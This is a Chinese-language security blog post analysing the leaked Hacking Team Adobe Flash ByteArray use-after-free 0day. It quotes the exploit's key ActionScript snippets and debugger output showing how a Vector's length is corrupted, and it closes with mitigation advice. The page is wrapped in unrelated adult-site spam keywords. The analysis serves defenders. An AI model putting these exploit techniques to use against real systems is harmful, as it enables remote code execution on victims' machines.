成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Hacking Team攻擊代碼分析Part 1:Flash 0day

安全 黑客攻防
最近專門提供通過攻擊手法進(jìn)行網(wǎng)絡(luò)監(jiān)聽的黑客公司Hacking Team被黑,包含該公司的郵件、文檔和攻擊代碼的400G數(shù)據(jù)泄漏。360Vulcan Team第一時(shí)間獲取了相關(guān)信息,并對其中的攻擊代碼進(jìn)行了分析。

最近專門提供通過攻擊手法進(jìn)行網(wǎng)絡(luò)監(jiān)聽的黑客公司Hacking Team被黑,包含該公司的郵件、文檔和攻擊代碼的400G數(shù)據(jù)泄漏。360Vulcan Team第一時(shí)間獲取了相關(guān)信息,并對其中的攻擊代碼進(jìn)行了分析。

我們發(fā)現(xiàn)其中至少包含了兩個(gè)針對Adobe Flash的遠(yuǎn)程代碼執(zhí)行漏洞和一個(gè)針對微軟Windows內(nèi)核字體權(quán)限提升漏洞的完整攻擊代碼(exploit)。其中一個(gè)Flash漏洞已經(jīng)在今年4月修補(bǔ),其他兩個(gè)漏洞都未修復(fù)。

其中Flash漏洞exploit被設(shè)計(jì)為可以針對IE、Chrome瀏覽器和Office軟件進(jìn)行攻擊。攻擊者通過嵌入精心構(gòu)造的惡意Flash文件到網(wǎng)頁或Office文檔中,使得訪問特定網(wǎng)頁或打開Office文檔的用戶感染惡意代碼。同時(shí),這些惡意代碼通過結(jié)合Windows內(nèi)核字體權(quán)限提升漏洞,可以繞過IE(保護(hù)模式或增強(qiáng)保護(hù)模式)、Chrome(Chrome Sandbox,< Chrome 43)和Office(保護(hù)模式)的沙盒保護(hù),完全控制用戶的電腦。

360Vulcan Team對這些漏洞進(jìn)行分析,并分為三個(gè)部分將這些0day的信息共享給安全社區(qū),希望軟件廠商和安全廠商共同行動(dòng),盡快修補(bǔ)和防御著這些“在野”的0day漏洞。

Flash 0day -ActionScript ByteArray Buffer Use After Free

看起來HackingTeam的遠(yuǎn)程exploit工具中廣泛使用了同一個(gè)flash漏洞(攻擊目標(biāo)可以是IE、Chrome、Office系列):

Hacking Team攻擊代碼分析Part 1:Flash 0day

初步分析這個(gè)Exploit之后,我們發(fā)現(xiàn)這個(gè)Exploit在最新版本的Adobe Flash(18.0.0.194)中仍然可以觸發(fā),因此這應(yīng)該是一個(gè)0day漏洞。

漏洞原理分析

這個(gè)漏洞成因在于,F(xiàn)lash對ByteArray內(nèi)部的buffer使用不當(dāng),而造成Use After Free漏洞。

我們來看一下HackingTeam泄露的exploit代碼,關(guān)鍵部分如下:

1. 定義ByteArray

for(var i:int; i < alen; i+=3){
                 a[i] = new Class2(i);
                
                 a[i+1] = new ByteArray();
                 a[i+1].length = 0xfa0;
                
                 a[i+2] = new Class2(i+2);
             }

首先定義一系列的ByteArray,這些ByteArray初始大小被設(shè)置成0xfa0,ActionScript內(nèi)部會(huì)為每個(gè)Buffer分配0×1000大小的內(nèi)存。

1. 給ByteArray元素賦值:

_ba = a[i];
                 // call valueOf() and cause UaF memory corruption
                 _ba[3] = new Clasz();

這一步是觸發(fā)漏洞的關(guān)鍵,由于ByteArray的元素類型是Byte,當(dāng)把Clasz類賦值給ByteArray[3]時(shí),AVM會(huì)試圖將其轉(zhuǎn)化為Byte,此時(shí)Clasz的valueOf函數(shù)將被調(diào)用:

prototype.valueOf = function()
     {
         ref = new Array(5);
         collect.push(ref);
        
         // realloc
         _ba.length = 0x1100;
        
         // use after free
         for (var i:int; i < ref.length; i++)
             ref[i] = new Vector.<uint>(0x3f0);
        
         return 0x40
     }

在valueOf函數(shù)中,最關(guān)鍵的一部是更改了ByteArray的長度,將其設(shè)置成為0×1100,這個(gè)操作將會(huì)觸發(fā)ByteArray內(nèi)部buffer的重新分配,舊的buffer(大小為0×1000)將會(huì)被釋放。緊接著exploit代碼會(huì)分配若干個(gè)vector對象,每個(gè)vector同樣占用0×1000字節(jié)的內(nèi)存,試圖去重新使用已經(jīng)釋放的ByteArray buffer的內(nèi)存。

valueOf函數(shù)返回0×40,然后0×40會(huì)被寫入buffer[3]這里,如果邏輯正確,那么此處應(yīng)該寫入的是新分配的buffer;然而由于代碼漏洞,這里寫入的已經(jīng)釋放的0×1000大小的舊buffer,于是事實(shí)上寫入的是vector對象的頭部,整個(gè)過程如下:

1. ByteArray創(chuàng)建并設(shè)置長度0xfe0:

old buffer  |                       |
0                                 0x1000
2.  設(shè)置_ba[3],調(diào)用valueOf,在valueOf中設(shè)置ByteArray.length = 0x1100,此時(shí)old buffer被釋放
old buffer (Freed)  |                       |
0                                 0x1000
3.  然后0x1000大小的vector占據(jù)old buffer內(nèi)存,前4個(gè)字節(jié)是vector的長度字段:
Vector          | f0 03 00 00               |
0                                 0x1000
4.  valueOf返回0x40,0x40被寫入buffer[3],由于UAF漏洞的存在,寫入的是vector的size字段:
Vector          | f0 03 00 40               |
0                                 0x1000

于是我們可以得到一個(gè)超長的vector對象:

Hacking Team攻擊代碼分析Part 1:Flash 0day

 

我們可以通過調(diào)試來觀察漏洞的觸發(fā)過程:

1. 調(diào)用valueOf之前

0:005> u
671cf2a5   call     671b0930 //這里最終調(diào)用valueOf
671cf2aa 83c404          add     esp,4
671cf2ad 8806            mov     byte ptr [esi],al
671cf2af 5e              pop     esi

此時(shí)esi指向old buffer:

0:005> dd esi-3
0dfd5000  00000000 00000000 00000000 00000000
0dfd5010  00000000 00000000 00000000 00000000

2. 調(diào)用valueOf之后,old buffer被釋放,然后被vector占據(jù):

此時(shí)esi已經(jīng)指向新分配的vector,就buffer已經(jīng)被釋放

0:005> dd esi-3
0dfd5000  000003f0 0d2b3000 00000000 00000000
0dfd5010  00000000 00000000 00000000 00000000
0dfd5020  00000000 00000000 00000000 00000000
0dfd5030  00000000 00000000 00000000 00000000
0dfd5040  00000000 00000000 00000000 00000000
0dfd5050  00000000 00000000 00000000 00000000
0dfd5060  00000000 00000000 00000000 00000000
0dfd5070  00000000 00000000 00000000 00000000

3. 寫入buffer[3

接下來valueOf的返回值0x40被寫入buffer[3](及vector.size字段):

0:005> p
eax=00000040 ebx=0d8b4921 ecx=00000206 edx=00000006 esi=0dfd5003 edi=0d362020
eip=671cf2ad esp=04f2ceec ebp=04f2d050 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07d:
671cf2ad 8806            mov     byte ptr [esi],al          ds:0023:0dfd5003=00
0:005> p
Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07f:
671cf2af 5e              pop     esi
0:005> dd esi-3
0dfd5000  400003f0 0d2b3000 00000000 00000000
0dfd5010  00000000 00000000 00000000 00000000
0dfd5020  00000000 00000000 00000000 00000000
0dfd5030  00000000 00000000 00000000 00000000

可以看到vector的長度以及被修改成0x400003f0。

漏洞防范

由于該漏洞利用非常穩(wěn)定,而Adobe暫時(shí)沒有發(fā)布該漏洞的補(bǔ)丁,更可怕的是從HackingTeam泄露的數(shù)據(jù)來看,該exploit還帶有沙盒突破提權(quán)功能,危害甚大。我們建議補(bǔ)丁發(fā)布之前,可以暫時(shí)先禁用flash插件;也可以開啟Chrome或Chrome核心瀏覽器針對插件的Click-to-Run功能,來緩解Flash 0day的攻擊。

責(zé)任編輯:藍(lán)雨淚 來源: 奇虎360公司技術(shù)博客
相關(guān)推薦

2015-07-08 13:52:18

2015-07-14 10:53:19

Hacking Tea0Day漏洞

2015-07-14 11:00:16

2015-07-08 13:36:24

2015-07-15 12:50:27

微軟IE11

2015-07-14 10:33:19

2022-03-25 13:41:55

漏洞網(wǎng)絡(luò)攻擊Quantum(量子

2011-02-28 09:34:55

2011-08-26 11:44:01

2023-01-12 12:00:33

2016-05-03 09:27:21

2009-07-06 13:15:07

2009-07-15 16:29:03

2015-09-23 13:38:42

2011-07-18 14:29:46

2013-12-02 14:50:25

2014-10-15 17:29:33

2015-05-20 16:34:14

2015-07-08 11:06:59

2013-05-23 10:48:14

EPATHOBJ 0d0day漏洞
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 中文字幕一区二区三区不卡 | 国产精品99久久久久久久久 | 中文字幕亚洲精品在线观看 | 国产精品资源在线 | 国产成人综合久久 | 三级视频网站 | 国产成人av电影 | 亚洲一区视频在线播放 | 国产午夜三级一区二区三 | 国产精品视频999 | 中文字幕一区二区三区四区 | 亚洲毛片在线观看 | 亚洲一区二区三区福利 | 国产精品中文字幕一区二区三区 | 午夜欧美一区二区三区在线播放 | 欧美成人激情 | 一级做a | 91 久久| 久久99视频精品 | 天天摸天天干 | 狠狠躁躁夜夜躁波多野结依 | 国产小视频在线 | 91xxx在线观看 | 一区二区三区久久久 | 亚洲免费三区 | 婷婷中文字幕 | 日韩成人专区 | 91久久精品日日躁夜夜躁国产 | 久久高清 | 国产黄视频在线播放 | 粉色午夜视频 | 国产视频中文字幕 | 亚洲综合字幕 | 国产日韩精品一区二区 | 热久久国产 | 欧美日韩在线播放 | 国产日产精品一区二区三区四区 | 国产精品欧美日韩 | 午夜播放器在线观看 | 欧美日韩综合精品 | 欧美精品在线播放 |